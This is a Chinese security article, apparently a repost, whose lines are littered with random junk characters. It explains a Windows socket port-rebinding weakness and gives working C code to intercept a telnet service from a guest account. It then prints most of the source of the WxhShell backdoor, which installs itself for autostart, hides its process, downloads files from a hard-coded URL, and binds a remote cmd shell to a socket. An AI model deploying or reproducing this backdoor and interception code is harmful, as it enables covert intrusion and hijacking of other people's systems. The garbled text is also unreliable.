在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Y*O7lZuF% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%$I\\qq>{ 0^|)[2m! saddr.sin_family = AF_INET;
5SK{^hw BXaA#} ;e saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/9|1eSUa O$Wt\Y<q bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
' G-]> abWmPi 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
z}s0D]$+x pQ*9)C 这意味着什么?意味着可以进行如下的攻击:
8N!E`{W +%6{>C+bZo 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
RqXcL,,9 Tm_AoZH 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
uezqC=v$h [E2afC>zrl 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5l2Ph4( g[44YrRD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
PLKp<kg Eg 5|XV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
5 r"`c ._~_OVU 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+e`f|OQ ?7@B$OlU 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
*.ri8 K\nN2y #include
A$WE:<^ #include
=2\k
Jv3 #include
,_r"=>?@ #include
\s<{V7tq DWORD WINAPI ClientThread(LPVOID lpParam);
4cRF3$amd int main()
8t!(!<iF0 {
wxkCmrV WORD wVersionRequested;
2^bq4c4J DWORD ret;
e ,/I}W WSADATA wsaData;
8E&}+DR? BOOL val;
8s/gjEwA SOCKADDR_IN saddr;
[!]a'
T#x SOCKADDR_IN scaddr;
D!h8NZ;El int err;
AMG}'P: SOCKET s;
nW3-)Q89 SOCKET sc;
;o8C(5xE| int caddsize;
iE=Yh HANDLE mt;
yQ}$G
,x DWORD tid;
<{bQl
L wVersionRequested = MAKEWORD( 2, 2 );
AqB5B5} err = WSAStartup( wVersionRequested, &wsaData );
<gF=$u|}3[ if ( err != 0 ) {
+D[|L1{xb printf("error!WSAStartup failed!\n");
%obR2% return -1;
8W#/=Xh? }
BAG)
- saddr.sin_family = AF_INET;
z6ISJb RbzSQr>a\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Nz_c]3_j U`N|pPe:w saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
<cNXe4( saddr.sin_port = htons(23);
SNV~;@(h if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L`;p.L
Bs_ {
,A`d!{]5 printf("error!socket failed!\n");
T]-yTsto return -1;
>J[Bf9)> }
"[2CV!_ val = TRUE;
5b45u 6 //SO_REUSEADDR选项就是可以实现端口重绑定的
w
F6ywr if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
x=T`i-M {
'N^\9X0 printf("error!setsockopt failed!\n");
%a=K:" oU[ return -1;
}P(RGKQZ" }
_G%]d$2f` //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
VN[C%C //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
~,+n_KST; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
9zSHn.y mAMi-9 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
nv&uhu/q {
ddvSi6 ret=GetLastError();
y_EkW
f printf("error!bind failed!\n");
h07Z.q ; return -1;
Y$xO&\&) }
, dT.q listen(s,2);
Rs_0xh while(1)
w1HE^
/ {
RrrW0<Ed caddsize = sizeof(scaddr);
n][/c_]q //接受连接请求
4;"^1 $ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
=B4,H=7Spf if(sc!=INVALID_SOCKET)
#vrxhMo {
/2}o:vLj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
272j$T if(mt==NULL)
}OY]mAv-B {
lv
-z[ printf("Thread Creat Failed!\n");
+|}R^x`z break;
50!/% }
pR_cI]{=SA }
is=sV:j: CloseHandle(mt);
Bz}Dgbb }
yXU-@~ closesocket(s);
5dffFe WSACleanup();
9pPb]v,6 return 0;
JA W}]:jC }
kPwgayz DWORD WINAPI ClientThread(LPVOID lpParam)
[8*Ovd {
@$FE}j_ SOCKET ss = (SOCKET)lpParam;
^l1tQnj)7 SOCKET sc;
Enee\!@v unsigned char buf[4096];
-r/G)Rs SOCKADDR_IN saddr;
Z09FW>"u long num;
Zu(eYH=Q DWORD val;
b i^h&H DWORD ret;
T1zft#1~ //如果是隐藏端口应用的话,可以在此处加一些判断
xt]Z{:. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
\RN,i]c-g/ saddr.sin_family = AF_INET;
a] :tn:q saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
N[4v6GS saddr.sin_port = htons(23);
L'{;V\d if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'B}pIx6k~ {
'^ '4C'J printf("error!socket failed!\n");
/nXp5g^6( return -1;
.4={K)kz|F }
BqZ^ I eC$ val = 100;
}GvoQ#N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
H3{x;{.b {
2&91C[da0 ret = GetLastError();
j&E4|g ( return -1;
2=ZR}8}9Q: }
-Hzn7L if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5A 1oZ+C# {
oTZ?x}Z1 ret = GetLastError();
-Nmf}`_ return -1;
WO*yJ`9] }
J#*Uf>5NY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
~Wu Elns {
z.16%@R printf("error!socket connect failed!\n");
kF'^!Hp closesocket(sc);
*lv)9L+0 closesocket(ss);
c?)
pn9 return -1;
%u }|4BXoh }
yb/<
7 while(1)
X@ +:O-$ {
5X&<+{bX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Y^LFJB|b4 //如果是嗅探内容的话,可以再此处进行内容分析和记录
OxElvbM# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
fEs957$ num = recv(ss,buf,4096,0);
t^?8Di\ if(num>0)
4W9!_:j(j send(sc,buf,num,0);
g|<)J-`Q else if(num==0)
N(Y9FD;H break;
w%S<N num = recv(sc,buf,4096,0);
S
!c/"~X+ if(num>0)
B0p>' O2 send(ss,buf,num,0);
N(vbo else if(num==0)
xHsH .f_{ break;
|+6Z+-.Hg }
{J})f>x<xM closesocket(ss);
]kb%l"& closesocket(sc);
:^%soEi return 0 ;
/l(:H }
OD\x1,E)I s^C*uP;R /bCrpcH ==========================================================
^ Jnp\o> Va=0R 下边附上一个代码,,WXhSHELL
qgZ(o@\ XQj`KUO@ ==========================================================
yE"hgdL :\80*[=;Z #include "stdafx.h"
Fi5,y;]R )>\Ne~% #include <stdio.h>
8(3vNuyP #include <string.h>
?-@hNrx #include <windows.h>
Eq.c;3 #include <winsock2.h>
O')Ivm,E #include <winsvc.h>
W!tP sPM #include <urlmon.h>
!]kn=7 8 6L&u:o: #pragma comment (lib, "Ws2_32.lib")
$ ~D`-+J #pragma comment (lib, "urlmon.lib")
W:5m8aE\ t Ac;O[L #define MAX_USER 100 // 最大客户端连接数
55$by.rf? #define BUF_SOCK 200 // sock buffer
~Zj?%4 #define KEY_BUFF 255 // 输入 buffer
'|FM|0~-J u8?ceM^r #define REBOOT 0 // 重启
tY[y? DJ #define SHUTDOWN 1 // 关机
vxqMo9T QT|m N #define DEF_PORT 5000 // 监听端口
^2mXXAQf7^ %<
W1y #define REG_LEN 16 // 注册表键长度
"\>3mVOb #define SVC_LEN 80 // NT服务名长度
z4f5@ t8P>s})[4 // 从dll定义API
QPFpGS{d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Aga7X@fV( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<4O=[Q 5S typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
X,OxvmDm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
-_4! id 2#E;5UYu // wxhshell配置信息
u{3KV6MS struct WSCFG {
?&X6VNbU int ws_port; // 监听端口
' l!QGKz char ws_passstr[REG_LEN]; // 口令
~P/G^cV3s int ws_autoins; // 安装标记, 1=yes 0=no
&1?Q]ZRp char ws_regname[REG_LEN]; // 注册表键名
5o72X k char ws_svcname[REG_LEN]; // 服务名
FCP5EN char ws_svcdisp[SVC_LEN]; // 服务显示名
:qT>m char ws_svcdesc[SVC_LEN]; // 服务描述信息
ZtvU~'Q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
-!}1{ int ws_downexe; // 下载执行标记, 1=yes 0=no
@+2Zt% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
H{}6`;W char ws_filenam[SVC_LEN]; // 下载后保存的文件名
jxoEOEA 3n/L;T,X };
^Gyl:hN \GWq0z& // default Wxhshell configuration
'*-SvA\Cx struct WSCFG wscfg={DEF_PORT,
m2}&5vD8- "xuhuanlingzhe",
3gM{lS}h# 1,
+|0 m6)J] "Wxhshell",
mrbIoN==` "Wxhshell",
~W#f,mf "WxhShell Service",
Iq5F^rH`[ "Wrsky Windows CmdShell Service",
8t^"1ND "Please Input Your Password: ",
DTJ 1,
PQ[TTLG\& "
http://www.wrsky.com/wxhshell.exe",
>YW>=5_ "Wxhshell.exe"
s,}<5N]U };
h}oQr0"c a}
/Vu" // 消息定义模块
/}VQzF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
l?~ci
;lG char *msg_ws_prompt="\n\r? for help\n\r#>";
CxRp$;rk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
?1{`~)" char *msg_ws_ext="\n\rExit.";
T'V(%\w char *msg_ws_end="\n\rQuit.";
f4_\F/ char *msg_ws_boot="\n\rReboot...";
BOWTH{KR<< char *msg_ws_poff="\n\rShutdown...";
9j 8t<5s char *msg_ws_down="\n\rSave to ";
MJb = +L K c<z; char *msg_ws_err="\n\rErr!";
=?lT&|" char *msg_ws_ok="\n\rOK!";
:+5afv} Lr^xp,_ n char ExeFile[MAX_PATH];
G225Nz;Y* int nUser = 0;
KCFwO' HANDLE handles[MAX_USER];
So^`L s;S int OsIsNt;
IX(yajc[~M </Id';|v SERVICE_STATUS serviceStatus;
;?!rpj SERVICE_STATUS_HANDLE hServiceStatusHandle;
B#MW`7c 5{a(
+' // 函数声明
+m.8*^ int Install(void);
J){\h-4 int Uninstall(void);
55DzBV int DownloadFile(char *sURL, SOCKET wsh);
T/;hIX:R int Boot(int flag);
EAB+kY void HideProc(void);
[8P2V int GetOsVer(void);
`Cf
en8 int Wxhshell(SOCKET wsl);
/vDF<HVzm void TalkWithClient(void *cs);
:\JbWj_j int CmdShell(SOCKET sock);
;QQ7vo int StartFromService(void);
9u @h` int StartWxhshell(LPSTR lpCmdLine);
&] 6T^. S1`0d9ds# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Pu*HZW3l VOID WINAPI NTServiceHandler( DWORD fdwControl );
a.IF%hP0xo cu^*x/0, // 数据结构和表定义
DB%AO:8 SERVICE_TABLE_ENTRY DispatchTable[] =
V8$bPVps {
Q3%#
o+R> {wscfg.ws_svcname, NTServiceMain},
Qz(T[H5%W {NULL, NULL}
25c!-.5D };
0,$-)SkT F]A~~P // 自我安装
0o$HC86w int Install(void)
Hq\E06S@ {
nl9Cdi]o char svExeFile[MAX_PATH];
d3G{0PX HKEY key;
kqvJ&7 strcpy(svExeFile,ExeFile);
8C,utjy XVDd1#h // 如果是win9x系统,修改注册表设为自启动
{/A)t1nL if(!OsIsNt) {
&<V_[Wh" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Eh@T W%9* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<%>n@A RegCloseKey(key);
dHq )vs,L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$#7J\=GZ+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]]=-AuV. RegCloseKey(key);
f >)Tq' return 0;
mo#0q&ZQ }
#A/]Vs$ }
V4eng " }
~njbLUB else {
_(6B. ;o)=XEh8P // 如果是NT以上系统,安装为系统服务
C~KWH@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
2z.8rNwT if (schSCManager!=0)
K=c=/`E {
Im?= e SC_HANDLE schService = CreateService
"$W|/vD+ (
O2q=gYX>\ schSCManager,
<84C tv wscfg.ws_svcname,
s!@=rq wscfg.ws_svcdisp,
bB;~,W&E1 SERVICE_ALL_ACCESS,
<+T\F; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
'&-5CpDUs SERVICE_AUTO_START,
rL%]S&M9 SERVICE_ERROR_NORMAL,
Ha)3i{OM svExeFile,
!F+|Y"c NULL,
I|g@W_ NULL,
`1fJ:b/M NULL,
dThR)Z'= NULL,
y+4?U NULL
Gur8.A;Y );
yhcNE8mkQ/ if (schService!=0)
QKp+;$SE' {
u}K5/hC CloseServiceHandle(schService);
H GO#e CloseServiceHandle(schSCManager);
:3KO6/+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
rc;7W: strcat(svExeFile,wscfg.ws_svcname);
8hTR*e!+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
"/ tUA\=j RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
>I$B= RegCloseKey(key);
.S~@BI(|< return 0;
yGb a }
8weSrm }
_PK}rr?"7O CloseServiceHandle(schSCManager);
zP_ ] }
3jvx2 }
J.1O/Pw!.a 0CPxIF& return 1;
u?Fnlne4@ }
Q;4}gUmI$ %tT"`%(+ // 自我卸载
"yg.hK` int Uninstall(void)
^'m\D; {
8]S,u:E:N HKEY key;
EJ1Bq>u7 %1Yz'AiW[ if(!OsIsNt) {
:.Y|I[\E% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`YPe^!`$ RegDeleteValue(key,wscfg.ws_regname);
!_qskDc- RegCloseKey(key);
G 0hYFc u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Rv98\VD" RegDeleteValue(key,wscfg.ws_regname);
rVY?6OMkd RegCloseKey(key);
]fj- `== return 0;
JjQ8|En }
S@x}QQ|. }
<0#^7Z }
QIQfI05 else {
%;7.9% Y,C=@t@_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
@dl8(ILk' if (schSCManager!=0)
r088aUO
P {
JBz}|MD SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
?OE#q$ g if (schService!=0)
{Bh("wg$Lk {
^-hEr sK if(DeleteService(schService)!=0) {
#Q}_e7t CloseServiceHandle(schService);
.oEbEs CloseServiceHandle(schSCManager);
~O{W;Cyh return 0;
?Nf
5w }
W m
.
}Zh CloseServiceHandle(schService);
dy2rkV.z }
Q8q@Y R# CloseServiceHandle(schSCManager);
w~|1Wd<v }
}$&xTW_ }
yzR=A%V8A ?iv=53<c# return 1;
*/(I[p }
"UG
K8x Qqc]aVRF // 从指定url下载文件
F}36IM9/: int DownloadFile(char *sURL, SOCKET wsh)
jnJZ#=) {
[|RjHGf HRESULT hr;
D//=m= char seps[]= "/";
\S ."?!U char *token;
mrM4RoO char *file;
z)-c#F@% char myURL[MAX_PATH];
QA?oJ_}y char myFILE[MAX_PATH];
X(*!2uS D#Kuo$ strcpy(myURL,sURL);
g`0moXz token=strtok(myURL,seps);
eGL<vX while(token!=NULL)
e,gyQjJR {
0N;%2=2_E file=token;
S,{tV=&m] token=strtok(NULL,seps);
O
)d[8jw" }
swcd&~9r :"1|AJo) GetCurrentDirectory(MAX_PATH,myFILE);
r^fe4b strcat(myFILE, "\\");
kmPYx)o strcat(myFILE, file);
(?0`d send(wsh,myFILE,strlen(myFILE),0);
!&^gaUa{ send(wsh,"...",3,0);
";SiL{Z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
B1!kn}KlL{ if(hr==S_OK)
i)a%!1Ar return 0;
`G9 l else
7gF"=7{- return 1;
\ 0W!4D
p4!:]0c }
V)ig)(CT Ifc]K? // 系统电源模块
KLW n?` int Boot(int flag)
=FP0\cQ. {
').}N z HANDLE hToken;
q? qC TOKEN_PRIVILEGES tkp;
FzQTDu9 W !w, f; if(OsIsNt) {
!>,m&O-x OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!E8X~DJ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
t_^X$pL tkp.PrivilegeCount = 1;
*g}Yw tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
{%lXY Myu AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
H,fZ!8(A_) if(flag==REBOOT) {
_|[UI.a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ULrr=5&8 return 0;
zi R5:d3 }
tz4
]qOH8 else {
X+L) -d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Unj.f>U return 0;
X[
q+619 }
N{
Z
H }
M FTkqbc else {
m8'C_U^89 if(flag==REBOOT) {
\PDd$syDA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
,@1p$n return 0;
+a-6Q ~ }
7K)6^r^ else {
~|<WHHN( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
d>;&9;)H return 0;
G!K]W:m }
s!n<}C }
'YNT8w/3 GpZc5c return 1;
=FE|+!>PA }
]-ZEWt6lsc nX$XL=6mJ& // win9x进程隐藏模块
aW>6NDq( void HideProc(void)
^i:`ZfA# {
KII *az \[Z?& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
W5SJ^,d)J if ( hKernel != NULL )
p.LFVFPT {
e{m2l2Tx: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5 ~TdD6} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
fk_o@
G!0 FreeLibrary(hKernel);
kF/9-[]$g, }
9K9DF1SOa Ei2'[PK return;
7b<yVP;{ }
&197P7&o tKpmm`2 // 获取操作系统版本
_cXqAo[V int GetOsVer(void)
F&&$Qn_+ {
I'|$}/\` OSVERSIONINFO winfo;
{)-aSywe winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
^MVkZ{gtre GetVersionEx(&winfo);
9(@\&>) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
u9N 1pZ~ return 1;
gvLf|+m else
]MxC_V+P` return 0;
M@5?ZZ4L }
xXM{pd ;Rv!k&Df // 客户端句柄模块
C+TI]{t int Wxhshell(SOCKET wsl)
wu)w {
m@^1JlH SOCKET wsh;
rwI struct sockaddr_in client;
7x@A%2J DWORD myID;
Rb.SY{}C <N%7|t*eT while(nUser<MAX_USER)
+t?3T-@Ks {
$g
sxO!G int nSize=sizeof(client);
;A*`e$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
'#&os`mQ if(wsh==INVALID_SOCKET) return 1;
e:5bzk!~ 9o+)?1\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#*KNPh if(handles[nUser]==0)
N|6MP
e closesocket(wsh);
}yz (xH else
'L8'
'(eZ^ nUser++;
43@{JK9G }
>Vwc3d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[Lzw#XE |b)Y#)C; return 0;
OEkN(wF }
c|#8T*`C P3=W|81e // 关闭 socket
z&fwE$Nm void CloseIt(SOCKET wsh)
/|D*w^> {
dfij|>:*0 closesocket(wsh);
"t~ nUser--;
L{8xlx` ExitThread(0);
2u5|8 }
%y@Hh= %'X[^W // 客户端请求句柄
ZR(x%ews void TalkWithClient(void *cs)
R~S;sJ& c {
N19({0+i2 `0Oh_8" SOCKET wsh=(SOCKET)cs;
{o.FlX char pwd[SVC_LEN];
z{o'
G3 char cmd[KEY_BUFF];
`#;e)1 char chr[1];
BEre*J int i,j;
' <@3i[M sXD1C2o while (nUser < MAX_USER) {
\uaJ@{Vug 3_MS.iM if(wscfg.ws_passstr) {
5'X ]k@m_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0 g?z&? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@NNq z //ZeroMemory(pwd,KEY_BUFF);
ZHm7Isa1 i=0;
@CZT while(i<SVC_LEN) {
t+1 %RyKFB -bSSP!f // 设置超时
Stu4t==U fd_set FdRead;
x6e}( &p* struct timeval TimeOut;
w-t8C=Z FD_ZERO(&FdRead);
,I%g|'2 FD_SET(wsh,&FdRead);
T<55a6NoK TimeOut.tv_sec=8;
nh!a)]c[ TimeOut.tv_usec=0;
^]W<X"H+Z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5sx1Zq7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
OslL~< @AIaC-,~] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ZI 3Nq pwd
=chr[0]; q&W[j5E
if(chr[0]==0xd || chr[0]==0xa) { eFL=G%
pwd=0; ~1W x=
break; q gLaa
} zY"1drE> G
i++; @EnuJe
} |!"`MIw,
EuyXgK>g
// 如果是非法用户,关闭 socket RkBb$q9F]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )`A3M)
} D-4f >
WqXbI4;pJ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f v9V7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); obNqsyc77R
,kF}lo)
while(1) { Y!gCMLL
|qmu_x\
ZeroMemory(cmd,KEY_BUFF); 8_tK4PwP
3T!lA
// 自动支持客户端 telnet标准 'zGo?a
j=0; T2!6(,
s9
while(j<KEY_BUFF) { Ndcg/d
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JaL%qco
cmd[j]=chr[0]; ek}a}.3 {
if(chr[0]==0xa || chr[0]==0xd) { ?`#/ 8PN
cmd[j]=0;
By9*1H2R
break; [ zEUH:9D
} NF0%}II&xK
j++; 9uBM<
} 8_6Q~
[>1OJY.S}T
// 下载文件 8qEVOZjV&
if(strstr(cmd,"http://")) { A' /KUi
send(wsh,msg_ws_down,strlen(msg_ws_down),0); A0q|J/T
if(DownloadFile(cmd,wsh)) uJ5Eka
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yA.4G_|I
else HOE_S!N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u(wGl_
} ulkJR-""&
else { PV4(hj
h0g:@ae%&
switch(cmd[0]) { [-;_ZFS{
qLT>Mz)$%
// 帮助 j
S?xk
case '?': { elG<k%/2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G_k~X"
break; fe_yqIdk
} 5c^Z/
Jl$c
// 安装 4x;/HEb7?
case 'i': { sZL#xZ5
Df
if(Install()) K!'AkTW+-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =}v}my3y"
else _/s(7y!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #L{OV)a<
break; T:IW%?M
} z-LB^kc8oQ
// 卸载 _=NwQu\_F
case 'r': { hlJq-*6'
if(Uninstall()) 8}FzZ?DRy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6q]5Es<
else HE'2"t[a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \L(*]:EP
break; YQpSlCCo
3
} ( @3\`\X
// 显示 wxhshell 所在路径 s_>
f5/i2
case 'p': { X83 w@-$}
char svExeFile[MAX_PATH]; -Y
H<
strcpy(svExeFile,"\n\r"); ;}1xn3THCn
strcat(svExeFile,ExeFile); CWNx4)ZGw
send(wsh,svExeFile,strlen(svExeFile),0); @EDs~ lPv
break; =Apxdnz,
} ;+tpvnV;]
// 重启 L}FOjrN
case 'b': { a9T@$:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x)JOClLr
if(Boot(REBOOT)) _^'I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^RP)>d9Xp{
else { hBFP1u/E'
closesocket(wsh); T<L^N+<,{N
ExitThread(0); $ KRI'4
} /MF!GM
break; vi|R(&
} z9p05NFH
// 关机 ~j#]tElb
case 'd': { ,i0b)=!o
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g(Io/hyj
if(Boot(SHUTDOWN)) C:uz6i1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K3' niGT
else { ?0
m\(#
closesocket(wsh); =1u@7Bh
ExitThread(0); eXkujjSw"
} *5wu
break; RC^9HuR&
} v|ck>_"
.
// 获取shell +dPL>R
case 's': { %',F
CmdShell(wsh); ~-#yOu
,w
closesocket(wsh); 2TES>}
ExitThread(0); ZZj~GQL(S
break; 3-%Cw2ds
} >F@qpjoQE
// 退出 k78Vh$AA6%
case 'x': { )g|xpb
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3s:%2%jVK
CloseIt(wsh); @<@SMK)
break; D-U<u@A4
} Dl&GJ`&:p
// 离开 &(a(W22O
case 'q': { IhiGP
{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); $2MAZGJV
closesocket(wsh); @f!AkzI
WSACleanup(); #n
exit(1); /EMJSr
break; G2#d$
} }Z`(aDH
} }K(o9$V ^!
} M0c9pE
GOSI3RRn
// 提示信息 y\F=ui
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
tehUD&
} ]feyJLF
} ]bgY6@M
p\bFdxv#
return; {^Pq\h;
} *]x*B@RF
@-#T5?
// shell模块句柄 DJQglt}~
int CmdShell(SOCKET sock) m=b~i^@
{ AaN"7.Z/
STARTUPINFO si; M;Wha;%E"
ZeroMemory(&si,sizeof(si)); D6Y6^eS-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *C,N'M<u
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ACV ek
PROCESS_INFORMATION ProcessInfo; Sd:.KRTu.
char cmdline[]="cmd"; m&R"2t_Z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4?/7
bc
return 0; T+RZ
} C%ytkzG_
}#= Od e
// 自身启动模式 djT.
1(
int StartFromService(void) (:Cc3
{ 5#_tE<uM
typedef struct o&^NwgRCF
{ @+^c"=d1S
DWORD ExitStatus; wq4nMY:#
DWORD PebBaseAddress; MB*u-N0v
DWORD AffinityMask; 64D%_8#m
DWORD BasePriority; (L|}`
